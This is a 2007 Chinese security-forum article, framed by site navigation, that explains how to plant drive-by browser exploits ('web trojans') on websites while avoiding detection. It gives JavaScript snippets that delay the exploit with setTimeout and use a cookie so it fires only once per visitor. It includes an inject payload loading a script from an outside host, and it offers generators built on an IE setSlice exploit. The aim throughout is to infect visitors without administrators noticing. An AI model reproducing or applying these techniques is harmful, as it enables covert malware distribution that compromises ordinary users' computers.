执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 技巧知识 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
三步找回被删并清空了回收站的文件
新手想做网吧技术网管应会些什么
如何维护和优化局域网技巧
查看自己IP地址的四种方法
实战经验 组建维护一个30人局域网
巧用支付宝 免交手续费
教你防范QQ隐身被检测(图)
入侵Windows XP的几个常用方法
经验谈:跳板攻击入侵技术实例解析
上网被ISP劫持?介绍一些好用的DNS域
挂溢出型网马的一个小技巧
作者:佚名 来源:安全在线 更新时间:2007-10-7 9:14:22 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

一直以来跨域脚本型网马比溢出型网马都要流行,究其原因就是溢出型网马会消耗大量的系统资源导致IE卡死甚至崩溃.

想一想如果一个溢出型网马挂在稍微有流量的站点,访问者一进入网站IE就假死,导致整个网站都不能正常访问,管理员也会在第一时间发现.

在以后层出不穷的IE漏洞中已经很难见到MS06014这种跨域脚本型网马,大部分IE漏洞包括0day都是溢出型网马.

我这里很早以前就有利用溢出型网马攻击网站的两个思路:

1.让溢出型网马的效果延时,也就是访问者进入网站后网马并不是马上起效,而是延时5秒至10秒执行.

这个思路在javascript中很好实现,直接用setTimeout对象,用setTimeout可以在未来的某个指定时间执行特定指令.

如:setTimeout("document.write(inject)", 5000 );

在5秒后执行document.write来输出inject这个变量.

2.让溢出型网马识别COOKIE和IP,当访问者第二次重新进入溢出型网马时将不再起效,这样就可以防止访问者的IE多次卡死甚至崩溃.

其实这里也不用我多说了,document对象中的cookie属性可以直接操作COOKIE.

如: 
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)一天 /24小时*一小时60分*一分60 秒*一秒1000 毫秒*/
..............
document.cookie = "Cookie1=POPWIN;expires="+ Then.toGMTString()
以上省略了代码,就是实现设定一个叫POPWIN的Cookie,在24小时后过期,网上到处都是:)

补充:inject变量我写成了<script src=\"http://s0n9.blog.sohu.com/mm.js\"></script>,因为我习惯把网马做成一个js,当然你也可以转成IFRAME来包含一个网页.

总结上面两个思路我写了一个inject.js,附上两个生成器

一个inject.js.exe [inject.js生成器]

一个ray.exe [稍微修改了的Microsoft Internet Explorer WebViewFolderIcon (setSlice) Exploit,生成一个JS的网马]

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号